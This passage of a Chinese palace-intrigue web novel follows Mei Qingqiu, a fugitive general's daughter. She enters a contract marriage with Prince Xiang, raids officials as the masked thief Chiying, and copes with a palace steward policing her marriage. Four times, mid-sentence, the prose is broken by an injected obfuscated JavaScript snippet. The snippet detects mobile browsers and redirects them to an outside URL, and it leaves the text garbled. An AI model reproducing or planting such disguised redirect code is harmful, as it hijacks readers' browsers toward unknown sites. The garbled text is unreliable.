许骄松怀着新奇的眼神端量她，见梅倾秋闪开目光了他才后知后觉地赔礼：“失礼了，我只是没料到秋生原是女儿身。” “彼时难以言明，不得不女扮男装，是我该赔罪才是。” “无碍，都过去了。此番我来是收襄王之托，让我请你到襄王府一聚。” “襄王？” 其昨夜自顾自离去，现又让人来请？梅倾秋陡生闷气，不愿任他招呼了。她自己尚未发觉，十年谨言慎行怎就起了心思反抗当朝王爷。 “劳公子替我回襄王，民女经营药铺分身乏术，无法前往。” “梅姑娘，襄王……” “失礼了，许公子。” 梅倾秋微微颔首，不顾其意犹未尽，就径直钻入药屋。留许骄松一人抓耳挠腮。 旭日将窗纸晒得热烘烘，手指轻推窗棂横木，亦可感受到一阵热气。她透过窗缝看，许骄松恰好坐上马。 身后脚步声逐渐靠近，梅倾秋拉回窗。 宁枝问道：“那是宰相之子，找你何事？” “襄王让他请我去襄王府。” “如此突然？” “所以我婉拒了。” 此时她们处在药铺角落，屏风与药架徐徐遮挡了她们的身形。梅倾秋于圆桌前坐下，提起茶盅倒茶，宁枝就势落座对面。 “襄王最近很频繁的找你。” 梅倾秋微微偏头作思考状，“着实古怪，此前他还让我不要嫁太子。” 宁枝大惊，眼珠咕噜一转：“他是怕你父亲的势力也被太子所握，不利他自己夺位吧！” “原先我也是这样以为。” “难道不是？” 梅倾秋慢半拍地抬眼，附和道：“左右也没有其他原因了，应该就是这样。” 她没来由地感到心慌。 “太子何时解除禁足？”宁枝问。 上回因翊府中郎将私收奉税，东宫受了牵连被禁足一个月。 “算来明日是最后一天了。” 之后她便要当太子妃。 “你真的不会后悔吗？” 梅倾秋将茶杯递给她，道：“宁枝，你知道为什么我们初遇时，我在屋顶上吗？” 宁枝思忖了一会：“那道院墙是与过去的分水岭。你以逃犯身份活在院墙之内，等待翻越的机会。” “是啊，时至今日我也仍踩在那条分水岭上，只是经过岁月打磨，沉重墙被磨成了钢丝，记忆就会驱逐我，鞭策我跑、逃、前行……哪里都好，只要是更高的地方，到上面才能安全。” “太子妃或未来皇后都称不上安全，将统治权夺到手里才安全。所以在此之前，我得先将高枝变成垫脚石。”梅倾秋轻抿一口茶，笑道：“太子让我做太子妃，是他该后悔才是。” - 半个弯月沉入房檐之后，犹似斜斜扎在上面，月光便滔滔不绝地四溢，为春夜染上层朦胧的清亮。 巷中鸟雀啼欢，灯盏稍一闯入就纷纷惊上树梢，末了踩着黛瓦来回跳。灯笼拖拽影子拐出巷，往对面宅府方向去。 细碎马蹄声自昏暗处来，梅倾秋欠身让道，同时将灯笼提高映亮来人。她方一看清，未出口呼唤，李秉昶弯身单手揽过她后腰，将她抱上马背。灯笼跌落，火烛倾斜立即点燃笼纸，于无人知晓的茫茫空地燃烧殆尽。 梅倾秋双手撑着马鞍扶手，李秉昶环过她双肩驾驭缰绳，烈马狂奔，夜黑风高，她就这样悄无声息地被劫走，莫名其妙地被困在他怀里。夺绳也不是，跳马也不可。 “襄王这是何意！” “你不愿见我，我便来请你了。” “你这般请人的？！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147837|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李秉昶不应答，只默默让马往僻静地去。 “让我下去！” 梅倾秋佯作要跳马，被他搂住腰捞了回来。 “梅倾秋。” 晚风拍打耳垂，使他那声呼唤混淆了杂音，她凝神聆听却也等不来下一句。 “你当真爱我皇兄？” 簌簌凉风将树叶刮得凋零无几，满地桂香蹭过鼻端。馥郁而酸涩。 “襄王久居深宫，莫不是仍寄望于爱？” 便是这话，令险些出口的爱又深藏了多年。 他也自嘲地笑了笑，再问：“如果我说，皇兄能给你的，我也能呢？” “对我而言，太子或襄王没有什么区别。” “我与皇兄最大的区别，就是我知道你的秘密。” 李秉昶勒紧缰绳停在一棵高大的柏树下，坡下便是卫府老宅那片荒地。 月打雾夜，丝丝银光绘动杂草，与远处烟火相较格外凄凉。四季桂香浓郁萦绕，记忆深处的血腥又与桂香缠绵。 她已然听懂了未尽之言，当下对他的鄙夷斩断了昨日微乎其微的情愫。她在心中反问自己：竟当真以为他李秉昶与其父不同？ 李秉昶先下了马，道貌岸然地朝她伸出手：“先下来吧。” 梅倾秋不予理会，翻身从另一边下，绕过马走到他面前。 “襄王听到什么空穴来风的消息了？” “卫霆和令堂是故交，你应该自小就清楚他的事迹。护国将军忽而被安上通敌罪名，罪株三族，流放……” 李秉昶没再往下说，重复他昔日老师的冤情于他也不好受，追根究底，罪魁祸首是他的父亲。那在她眼里，他就是她的仇人。 “然后呢？” “其女卫翎，未履行流放之罚，就在逃亡路上失足落水了。同时另有一女悄悄成了太尉的养女，改名梅倾秋，安然度过了十年。” “真是荒唐。” 梅倾秋转身离开，李秉昶喊：“卫翎。当务之急想想本王是谁，你就此离开，会将太尉府一并拖下水。” 梅倾秋回身迅速闪到他面前，手刀劈向他脖颈被他一把拦下，她反手拔出短刀，鲜血淅淅沥沥滴染草地。李秉昶手心紧握刀尖。 “你威胁我。” “我在给你陈述事实，梅穹包庇了你这个罪臣之女，其罪当诛。但从当朝政局而言，梅穹已是手握兵权的两朝元老，我自然不想看一代英雄殒落。” “我听出来了。” 梅倾秋拔刀拔不出，他自己紧紧抓住了刀尖，她松开刀柄，短刀就像在他手心生了根，跟着他的手垂在身侧。 “你觊觎我父亲的力量，不想就此拱手让给太子，不惜以此来要挟我。” 夜昏无灯，二人相视，却是彼此都看不清对方的眼神。 “怎么，你想娶我？” 晚风徐徐吹来一声：“是。” 19. 第 19 章 “你想用这个秘密来要挟我与你联姻，让我父亲拥立你争夺皇位。” 李秉昶想说不，他并未将她与利益挂钩。但若将二者相加，那他会说是的。他就是又要皇位又要她。他瞧见她垂眸开始注意自己手握刀尖，便着了魔般想让她垂怜，浑然不觉疼痛地继续施力。鲜血淌过刀柄滴答作响，如雨珠滴入井口。但她只是神色冷漠地看着血迹。 “作为交换条件，我不会干扰你为父伸冤。” 晚风拂乱她鬓发，丝丝缕缕地在她鼻尖上起伏，他只觉恼人得很，直想上前替她捋起碎发。 “作为条件不够，王爷，我不想只做王妃。” 梅倾秋扔掉刀鞘，径直从他身旁过。李秉昶隔着薄纱拉住她手腕。 “谁让你只做王妃了，你可以选做暂时的太子妃或未来的皇后。” 他微微偏头，注视她双眼之间翻涌的野心：“我给你夺一个皇位出来。” - 翌日，李秉昶进宫求皇上赐婚，申时方过圣旨就到太尉府了。当禁足东宫的太子听到消息已是板上钉钉。他二弟这是明晃晃地夺红颜，赶在他禁足的最后一天给了他当头一棒。听闻太子在宫中大发雷霆。 跳过了纳采、纳吉等等繁文缛节，黄道吉日便是明日。 太尉府上下忙得乐不开支，彩带挂粱、吉果满盆、还需拉着新娘量身裁衣。 “欸？新娘呢？小姐呢？” “刚刚见她还在院里的。” “小姐，小姐......” 梅倾秋此时就背院坐在屋顶上，面向的是万年不变的卫府旧址。她一袭粉白襦裙，身后红彩饰满东院，欢声笑语穿透薄墙，惹得两条街外的老妇少儿也探首来瞧。东问问西走走，道太尉府数年未有千金出没，忽而就挂上喜字要出嫁王爷了！怪哉！ 黛瓦发出松动声响，绯色衣摆簌簌作响，梅倾秋抬首才发现是自己父亲。几乎令人察觉不到他的接近。 “父亲......” 梅倾秋双手后撑，作势要起身。梅穹向她摆了摆手示意不用多礼，袍衫一扬在她身旁坐下，霎时檐边几片碎瓦跌落巷中，咔哒一声。 “你会怪我擅自做主吧？”梅倾秋心虚得不敢直视父亲。“与襄王私定婚约。” “在为父看来，襄王较太子而言，靠谱了些。” “他是觊觎你的势力，此番婚事也连累了你，我知道父亲对储君一事始终是中立的立场。” “太子已定两年，朝中却依然动荡，我身居此位是无法置身事外的。” 梅倾秋抬起眼，怯怯地问：“父亲真的不怪我？” 梅穹仰头笑了几声，而后又是一派的沉稳腔调：“我如何怪你，你已是赌上自己的生命在前进了。那就继续向前就好了。不过秋儿......” 梅穹忽而刹住口，只见他缓慢捋着自己下巴那一挫短须。 “你不爱襄王，是吗？” “是。” “他也不爱我，我们只是各取所需，互赢互利而已。”梅倾秋想了想又加上一句。 “男女之情是很难界定的，孩子。尤其是卷入皇室争斗之中，如果你能心无旁骛只向着自己的目标前进，就不能被一瞬间的情爱牵绊。而如果你已然深陷，就必须两者择其一，否则就会被犹豫的丝缠住锋刃，作茧自缚。” 梅倾秋认为自己不会有这样的烦恼，但还是乖巧应了句：“我明白了，父亲。” “小姐！你怎又上了屋顶，还要量衣戴妆的！”矜儿从院外巷子往上望，佯怒埋怨了两声，瞧见梅穹也在立马压低声。“老爷。” “哈哈，是我让她上来的。” 梅倾秋暗自嘟囔：还不到半个时辰呢。她向父亲微躬作揖，用轻功落地院中，便被矜儿拉着往寝室跑了。 梅穹哼笑一声，眺望远方山峦，自言自语道：“我会护好翎儿的，放心吧。” - 成婚当日。落日红霞将红锦长毯映得愈加红艳，锣吹鼓响贯穿安州遍街。王爷迎亲，声势浩大，车队所到之处撒花结彩，满城树梢乃至拱桥都装上了红绸。 茶楼顶、游船上、街头巷尾探长脖子看身骑黑马的儒雅王爷。多数就此跟在队伍之后去接亲，名曰沾喜气。红锦毯由仆从走在前头，就着车队慢慢铺到新娘家门口，意为喜至。 太尉府前早已簇拥了一大批看热闹的人，太尉梅穹亦站在门外迎接。李秉昶下马，躬身作揖，改口岳父，并随其入府。至新娘出府为止奏乐队不得停。 新娘婚服青中缀红，凤冠霞披，饰以琉璃金翠钗，手持珠扇轻掩面。梅穹将红绸另一头递交李秉昶，贺百年好合。李秉昶垂眸去瞧，半晌恍惚。半脸已是绝色，胭脂绘美人，锦上添花。 八抬大轿抵达襄王府门前已是入夜，千烛相连点亮灰蒙蒙的夜晚，如星河璀璨之倒影。缀珠灯沿红锦毯纵横庭院，雕花屏风十步一设，曰迈阻跨难。 鸣乐声声悠扬，梅倾秋双手持扇与红绸，红绸另一头由李秉昶牵引。金丝绣裙摆堪堪及地，外袍拖拽三米之远。 “跪——” “一鞠躬，拜天地媒妁，佳偶天成。” “二鞠躬，拜高堂先祖，万事如意。” “三鞠躬，拜燕侣同心，白头偕老。” “礼成——” 礼成。二人穿过庭廊，灯穗流苏经风吹拂缓缓而飘，凤凰步摇亦随身姿翩翩摇曳。 王爷成婚，繁文缛节过于多。婚房内又要进行一系列的仪式祭酒，女婢们才会撤去筵席离开婚房。王妃方可取去珠扇。 二人并坐婚床之上，奏乐声覆盖整座府邸，连门窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147838|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧闭的寝室也可闻见唢呐响。 “王爷，你我已是夫妻。”梅倾秋先打破了沉默，朝他看去：“不再似以前了。” 李秉昶依言相望，见心中爱人穿戴婚服静坐身旁，胭脂凤冠为他而饰，便暂时忘了浮于婚亲表面的那层虚假。但她自会提醒他的。 “不论你之前将我看作什么，今日起便再无那些情义了，唯有名义。” 梅倾秋起身走向圆桌，将酒盅托盘移至一角，从绛红色婚服的大袖摆里拿出一张对折的宣纸，拆开铺在桌上。 李秉昶方一走近，看清纸上洋洋洒洒的黑字，她就给他取笔来了。 「成婚，所为共赢，无需履行夫妻之实，彼此皆有和离之权。」 她已先行签了名，道：“木已成舟，我们互有共同的秘密了。我与太尉都会助你夺下皇位。” 他无言接过毛笔，笔尖微挨宣纸便蓦地停下，而后扬笔一挥，签上姓名。 琴瑟和音越过廊道与窗纸，就在庭院处奏乐。李秉昶解释这也是一个仪式，洞房之夜房外需合奏琴与瑟，寓意是帐内和睦。 “奏一晚上？” “一个时辰吧。” 奏琴人只怕想象不到婚房内的景象，卯足劲地拨弦拉声，以此盖过某种不可为人知的旖旎动静。以至于屋内整装未褪的人此刻反倒羞涩得紧。 “如此，你也不得离开了。” 梅倾秋将白纸黑字的契约合折，偷瞥一眼从窗幔走回的李秉昶。 初夜便被新娘驱赶，他本该失落神伤，却忽而起了兴致，至少比他签契约的时候心情好多了。李秉昶眉目带笑挨近她，她后退几步退无可退，靠在了屏风上。 “怎么，王妃连这个心理准备都没有吗？新婚之夜独守空房，岂不更惹人怀疑？” 梅倾秋拾回方才气势，挺胸抬头道：“我自然也想到了！” 她提摆要走，被他拉住了手腕。 “等等。” 李秉昶双手轻抚过她鬓发，将头上凤冠取下，乌发顷刻往肩头倾泻而下，他指腹勾起额前碎发到耳后。凤冠被他单手圈在怀中。 “别怕，等他们退下了，我会去隔壁房的。你可以安心睡下。” 说罢他捧着凤冠走回茶桌，背对梅倾秋坐下。梅倾秋木木地应了声好，提摆绕过屏风走回床榻。 屏风相隔，梅倾秋侧靠床头围栏，面向窗幔。李秉昶双肘后撑茶桌，凝望屏风之间若隐若现的身影，直至琴声消逝。 夜已过半，宾客四散府门紧闭，此屋更是静谧无声，连蜡烛灼烧的滋滋声也能听见。梅倾秋就此斜靠床栏睡着了，那张契约仍被压在裙褶上。李秉昶将她扶上床，盖上薄被，吹灭灯烛离去。 此夜注定无眠。无论是满腔深情无处言的王爷，还是褪去婚服翻墙出行的王妃。 20. 第 20 章 夜阑人静，黑漆漆的夜色如墨泼洒，零星灯笼静悄悄地点缀增亮，沿街仍存有花瓣与炮仗的痕迹。 梅倾秋一身黑衣蒙面出了襄王府，轻跃上房顶，于大街小巷中穿梭，她钻上老树延伸出的树枝，脚踩着迎亲队挂上的红绸。 她绑紧后脑勺的结，蹿地一下翻过院墙。悄无声息，唯有受力飘荡的红绸彰显着这里有人停留过。 县府后院。一道黑影立足屋脊之上，居高临下辨了片刻，方跃身下了地。其微躬而行，手往后握着背上的剑柄，缓慢朝小屋前进。 “上！” 黑暗中响起一声呼号，黑影迅速反应飞上树，再一蹿跳上房檐。官兵急吼吼地蜂拥上前。黑影飞檐走壁，他们就穿街抄近道，步步紧逼。 大张旗鼓的追捕方式惊扰多户人家，静谧街巷接二连三地亮起灯烛，探出半颗头观望发生了何事。只见黑影身轻如燕，翻跨重楼却如履平地般矫健，有人惊呼：“赤影！是赤影大侠！” 高亢之声掀起一阵热切欢呼，原本紧闭门窗不敢掺和的百姓也连忙掌灯出门，一睹‘民间英雄’。 官兵看似与黑影仅差几步之遥，却始终是连对方的衣角也无法触及，身心俱疲本就烦，见满城百姓几乎都涌出来支持赤影，刑部侍郎恼羞成怒，责令众人抓不住就扣三月俸禄！闻言官兵们士气大振，个别气急的就抓声援赤影的百姓开刀，踢上两脚。若是混无人知的角度，更会亮剑相向。 百姓手无寸铁，求饶无果，只得提高灯笼高呼赤影。 “哼，赤影是贼！你们这些......” 提刀过头顶的官兵忽而噤声，被身后人刀柄敲击后脖晕了过去。老丈慌张抬头，看见面前正是赤影。 那官兵们在追捕的是何人？他想。 “快回屋去吧。”赤影足下一蹬又消失在黑夜中了。 老丈听见的是男声，翌日他与人争论赤影真身时也提出了这点。 安州城中至少有三个赤影，官兵们十人一组，五组人全都被耍得如同无头苍蝇，竟连一个赤影也没抓到。 与此同时，真正的赤影梅倾秋轻而易举就取走了银票。聪明反被聪明误，刑部为了守株待兔引赤影入陷阱，银票所藏之地并不隐蔽，甚至可以说是直接双手奉上了。 天将明未明，都城重又陷入沉寂，憧憧人影行走如飞，翻身进入暗巷，稳落在梅倾秋身后。赤影——烙印鲜血的影子，而赤影背后还有五个影子。 - 翌日清晨，成为襄王妃的梅倾秋受诏入宫，面见襄王的母妃昭贵妃。昭贵妃从李秉昶九岁开始抚养他，且同为堇婳的生母。 长央宫外有两名宦官站岗，原还在偷摸讨论皇上今日所恼之事——神出鬼没的赤影又将官府耍得团团转。待到梅倾秋走近连忙噤声，作揖行礼。 主事女官领梅倾秋入寝殿，昭贵妃正坐在榻上。浅金碧霞罗贴腰微垂，玉锦绕肩而落，裙摆及地两寸。贵妃貌美温婉，美目含笑，灵动娇媚。堇婳公主与其真是一个模子刻出来的。 梅倾秋欠身作揖，道：“妾梅倾秋，参见贵妃。” “你就是倾秋，快上这来。” 梅倾秋应着招呼落座榻上，与贵妃矮桌相隔。 贵妃细细端详她，一双黛眉随笑眼而弯，道：“怪不得襄王如此着急求赐婚，果真是一绝代佳人啊。听闻你是太尉的养女？” “是的。” “那你可还记得本家？” “不记得了，自我有记忆起便在太尉府了。” “如此，你也是可怜人呀。” 昭贵妃用眼神示意女官取来物件。一个小巧典雅的檀木盒被贵妃轻轻打开，里头是一个翠绿剔透的玉镯。 “这只玉镯曾是襄王生母的贴身物，她赠与了我，现下我再赠与你，便是我们二人（襄王的两个母亲）给你的见面礼。” 梅倾秋双手上前接玉镯，无暇美玉透着晶莹，翠色夺目。 “多谢贵妃赏赐。” “无论你本家为何，现今已是襄王妃了。切记谨慎行事，襄王就劳你费心照料了。” “倾秋明白，定将贵妃之言记在心中。” 此前筹划拉拢襄王之时，梅倾秋就查过襄王及其过去。其生母吕绾乃武将之女，年方十五就嫁给了尚是皇子的李瞻，为侧妃。 吕家曾竭力协助李瞻夺位，功不可没。李瞻继承皇位后，封吕绾为慧妃，深受皇帝宠爱。却不知因何失了宠，被打入冷宫两年，方一脱离冷宫又去世了。 关于死因各有说法，有人说是身子在冷宫熬坏了，因病去世；有人说是有妃嫔心生妒忌，加害于她；还有人说是自从皇帝继位，慧妃就与其貌合神离，在冷宫生活的好好的，一被皇帝捞出来就愤恨自缢了。彼时襄王才九岁。 “我来帮你戴上。” 说罢昭贵妃拉过她的手，将翠绿玉镯环过她左手，戴在手腕上。 “禀贵妃，堇婳公主来了。” 女官方一通报完，李堇婳就风风火火地走了进来，向贵妃略一行礼，就直奔梅倾秋。挽着她手腕倚着她坐。 “倾秋！啊，现下该喊你皇嫂了！” 昭贵妃疑惑二人竟是相熟。李堇婳解释：“此前就随二哥见过倾秋。” “噢？” 昭贵妃若有所思，原先她差点轻信宫中传言：襄王迎娶太尉养女是另有所图。毕竟这个养女是凭空冒出来的。现下看来或许秉昶真钟意于她。昭贵妃想。 “我还以为你会成为太子妃，没料到是与我二哥成婚！” “堇婳！”贵妃斥责，“不可胡言。太子妃本就未定，报名单什么都说明不了，你这话若让旁人听了去，你二哥该如何自处？” “我知道了......”公主蔫蔫地垂下头。 梅倾秋险些忘了这点。襄王妃本该是太子妃，这一说法也在宫内外流传。 主因是太子在‘太尉有一养女’的传播上起到了主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147839|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力作用，还暗示过此养女就在太子妃的报名单上，惹得朝中都认为太子妃已经内定了。但报名单终究只是一个形式，连礼部都尚未整合呈给皇帝，便被襄王钻了空子。 传闻襄王与太子自小要好，曾经同样形影不离，但就在坊间盛传二皇子李秉昶定能当上储君之时，两兄弟就逐渐远离彼此了。直到大皇子被封为太子，二皇子被封为王爷，几年来总被拿在明面上比较。 朝中分为三派，太子党、襄王党、中立党，梅穹原本是极具代表性的中立党，现下站队襄王，襄王党的人数就快赶超太子了。 - 马车颠簸，窗幔亦被颠得幌动，每每弹跳就掀起一角被阳光晒得泛光点的街景。梅倾秋盯着盯着就乏了，昨日一夜无眠，今又一早进宫面见贵妃，松懈下来困意就席卷而至了。她头靠在窗框上，不消片刻便入梦。 梦中她所坐的不是马车，而是六人抬的仪仗，在一条茫茫无尽头的红廊道前行。她喝道停下，仪仗就真停下了，在一处门缝底下会飘出烟雾的地方。 她推门入内，细烟袅袅，院墙尽头传来女子与孩童嬉闹的笑声。她循声往里走，却只见一人独自坐在秋千上，脚尖点地慢悠悠地晃。 紫色罗裙缱绻拖地，女子双脚踩实地面，缓缓向她回过头来。她的肌肤并不瓷白，但很细腻光滑，一双桃花眼微微上挑，眸中清亮得像含有水珠。 奈何她的眼神过于锋利，使那滴泪被牢牢锁在眼眶里，令人瞧了直道此泪珍贵，宛如沙洲里的水源。 轻风扑过脸颊弥留一阵凉意，梅倾秋睁开眼，与自己的新婚夫君对上了视线。李秉昶的脸与她只有咫尺之距，他的手指搁在半空即将触碰自己的肌肤。她坐在马车里，他站在马车外，而家仆在旁拉开窗幔。 她连忙直起身弹开，李秉昶在外轻咳了两声，硬着头皮道：“到府上了，夫人。” 窗幔得以垂下，他慢步走到前面掀门帘。 远处傅雁拉着两匹马，想必李秉昶也是外出刚回，恰好在门前碰上她的马车，又听见王妃睡着了，不得不上前来唤。理清事情经过后梅倾秋弯身下车，李秉昶的手就径直凑到她面前。 梅倾秋愣了片刻，余光扫到众人才反应过来他是夫君！马夫门夫乃至傅雁都暗自盯着呢！果然此等表象还是要做的。她伸手搭上他的手，他略一施力扶她下马车。 站稳后梅倾秋想抽手却抽不出，抬眼才发现他的目光停在玉镯上，手指未抚，眼神便极具侵略性地盯着腕上玉镯。 “王爷......” 李秉昶回过神，双眸深处闪过一抹若有似无的哀伤，但也只是一瞬。他很快就恢复一贯的平淡微笑，用感慨的语气道：“这是母妃赠与你的吧。” “是的，她说是给我的见面礼。” “她很喜欢这个玉镯。” 梅倾秋一时分不清，这个‘她’指的是昭贵妃，还是慧妃。 二人同时松开手，并肩走进王府。 21. 第 21 章 成婚第三天，襄王府来了位不速之客。长吏。 每逢婚丧庆典类的大事，皇室内务府就会派名长吏到王府管理事务，如遇新王妃入府这等事，长吏往往会在王府住上十天半月，以确保新王妃能真正处理内务。长吏大多是女官。 “下官姓张，参见王妃。”着藏蓝色圆领衫，盘高发的年轻女子躬身作揖，向梅倾秋行礼。“接下来一周下官会协助你管理王府的。” 刚用过早膳的梅倾秋一脸懵，她并未听闻还有这个环节，李秉昶也未提过，而且他天不亮就赶早朝去了。她之所以知道，是府内管家曾遣矜儿来唤她醒，道王爷要赴早朝了，王妃应送夫君出门。梅倾秋蒙上被子倒头继续睡，那会儿都未鸡鸣！ “今日轮早朝，想必王妃并未起身为王爷送行。” “至多三个时辰他就回来了。” “无论如何，夫君出行，作为妻子总该有所表示，以慰郎君。” “他并未要求我做这些。”梅倾秋理智气壮道。 长吏的双颊一下就憋红了：“王妃怎能等着王爷自己提出来！” 她蹙眉扶额，片刻后正色道：“罢了，下官到此就是为了教会王妃这些礼节的。” 词意上是‘教’，但毕竟地位有别。长吏只能站着传授她定义的三从四德，梅倾秋坐着摆弄笔墨，左耳进右耳出。 “王妃是太尉养女，太尉夫人也早早病逝，或许无人与你提过这些礼数，但此后你一言一行皆代表着襄王府，王妃还需谨记。” 矜儿垂首站在一侧，光是旁听就觉得耳朵要长茧子了，对方竟还讽刺起王妃的出身！可王妃不做反应，她一介下人更不得出头。 “夫行，应随；夫责，应省；夫需，应予。” “换言之，只要夫君认可，我如何都行。”梅倾秋道。 长吏被问住了，清清嗓硬答道：“总归要顾及皇室颜面的。” “害，关起门来我如何你都不知。” 梅倾秋拂袖弯腰，拿毛笔轻点砚台，那身姿却似提着柳叶划水池。窈窕之形，勾人心魂，令人一下就听出其未尽之言了。说白些就是：我们两口子的事你少管。 长吏无言以对。但她很快又找回了她的话语权，她谈到了房事准则。这也是长吏尽为女官的原因之一，她们需要教导新娘如何侍奉夫君。这对她们而言只是照书念，对未经人事的少女而言却是难以启齿的，遑论还当着一众女婢。 “成婚当夜，王妃所做可对？” “啊？”人一慌起来就会显得很忙，梅倾秋看看书卷、磨磨砚台，含糊不清地点了点头。 “王妃，下官还需看一看卧房。”说罢长吏拔腿就走。 “什么？等等......” 她们本就位于后院，长吏三步并作两，一下就推开了卧房门。又神探上身似的，连带推开隔壁房门，直接戳破了二人分房睡的事实。 长吏瞠目结舌，现出见鬼一般的表情：“王妃，这......才成婚第三天，分居是为何？” 梅倾秋抬手拍了拍自己的额头，垂眸躲避视线。 “王妃，这可是很严重的事。如果......” “是这样的！”梅倾秋打断她，硬着头皮道：“是新婚夜那天......我与王爷吵架了，他就抱着被子走了。然后......” “还没和好？简直胡闹！夫妻就不能有隔夜仇，你怎么能就任着王爷搬到隔壁呢！”长吏忽而就苦口婆心了起来，“你更该想法子挽回王爷的心才是。” 长吏当即下命令，让矜儿她们把隔壁屋里襄王的物件都搬回来。今夜不能再分居了。 “不是，长吏使......” “王妃，新婚夜你可是连红都未破？” 见梅倾秋支支吾吾，她心中立即有了定论，两手一拍拉着梅倾秋‘恶补’。 - 李秉昶方一进府门，就听仆人说王妃不见了，现全府人都在找她。一问消失多久？不到半个时辰。 “不久前长吏还与王妃在一起。”矜儿道。她还转述了长吏到府这几个时辰发生的事情，包括絮叨的礼数和合并两房。 故而，襄王也加入了找王妃的行列。这使得长吏更生气了，认为王妃骄横。 李秉昶先是到卧房看了一眼，发现他的物品确实都搬回了主屋。他走到后院，想起什么足尖点地飞上了屋顶，憧憧檐脊之间杵着一缕红色。那便是他的王妃。 他跃过高矮不一的房檐，落在离梅倾秋不足十步的黛瓦上。梅倾秋本也要结束这番捉迷藏了，依着细碎声响回望，四目对了个正着。 “我以为成婚第三天你就退缩了。” “我真有一瞬想逃。” 李秉昶双足踩着屋脊走，险些踏空。 “真是太多繁文缛节了，长吏使念得我头好疼。” 梅倾秋屈膝而坐，两手攥拳按着脑袋，愁眉苦脸。殊不知在他人眼中这是极为俏皮可爱的一面，重点是这是她从未袒露的一面。今日之前他都不敢想，她能做出这般表情。 “咳......”李秉昶假咳一声，学着她在屋脊坐下。“长吏由内务府管理，都是恪守宫规的老顽固，不要想着反抗他们，左耳进右耳出就好了。” “她还需在府中住一周。”梅倾秋下巴搁在双膝上，叹道：“这一周我可咋办。” 李秉昶偏头看见的便是她的侧脸，卷翘长睫如院墙一角醒目的柳枝，长睫虚掩眼睛，便宛如柳枝藏起的一湖碧水。她轻轻吐出一口气，垂在鼻端的几缕碎发便起舞。她都不必施何技巧，略一弹指就占尽美色。 等不到回音，她回眸朝他看来，李秉昶瞬即移开那不清白的目光。 “后天你就可以回门了吧？你可以在太尉府多住几天，我替你打发了长吏就是。” “当真？太好了！那我下去了。” 说罢她当真嗖的一下跳回后院了。 待李秉昶再见到她，她又变回了平日里落落大方的淑女形象。方才卸下伪装的少女只是昙花一现。 当下他们还有一大难题：同房。 长吏虽是小官，却仍归属于皇帝的内务府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147840|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，任何蹊跷都有可能被记录在册、借题发挥。假成亲是万万不可被识破的，迫于这层压力他们如何都不能再分房睡了。 难搞的是长吏又好心又狡猾。她是真信了襄王爷夫妇在吵架，生怕王爷又摔门而去，也怕王妃不肯低头讨好，三番两次地在院中踱步。这种压迫力不亚于新婚当晚的琴瑟合奏。 在地上铺床不行，长吏刻意只留下一张薄被。彻夜不眠也不行，会被灯烛出卖。 “那，你就上来吧。”梅倾秋道。 “什么？”李秉昶差点以为自己幻听了。 “反正我若是嫁与太子，也会面临这种情况，只是同床的话也不是不行。” 梅倾秋说得云淡风轻，李秉昶是听得火冒三丈。试问新婚不久，对方就侃侃而谈与他人同床的可能性，还将你与之相比，哪个男人能忍受？ 李秉昶是哑巴吃黄连，吃了签契约的亏。 “好啊，既然你也同意......” 他一走近床榻，梅倾秋立马上床，将新婚时的珠扇用细绳绑在床粱上，珠扇握柄朝上，扇面正好隔在两个方枕之间。 “这样就可以了，王爷睡外面？”她抬眼笑得一脸纯真。 “好，我睡外面。”他垂眸咬紧牙关。 房内灯烛并未全数熄去，留了一盏在床边。四周昏暗，落针可闻，略一移动衣料就会摩挲出既碎又柔的声音，于当下而言便如耸动的火苗。 二人皆无睡意，梅倾秋只能没话找话聊。远至问他何时认出她女扮男装的，近至问他如何猜到她今日躲在屋顶的。 “我也只是猜猜，没成想你真在那。用轻功对你而言不是难事，而且要躲......” 李秉昶刹住话头，身旁人已经睡着了。 他小心翼翼地翻动身子，让自己斜躺面向她，再拉去一点珠扇。她脸朝上正躺着的，卸去繁复的珠钗发饰和盘结，乌发散下隐约透着阵阵木槿花香。 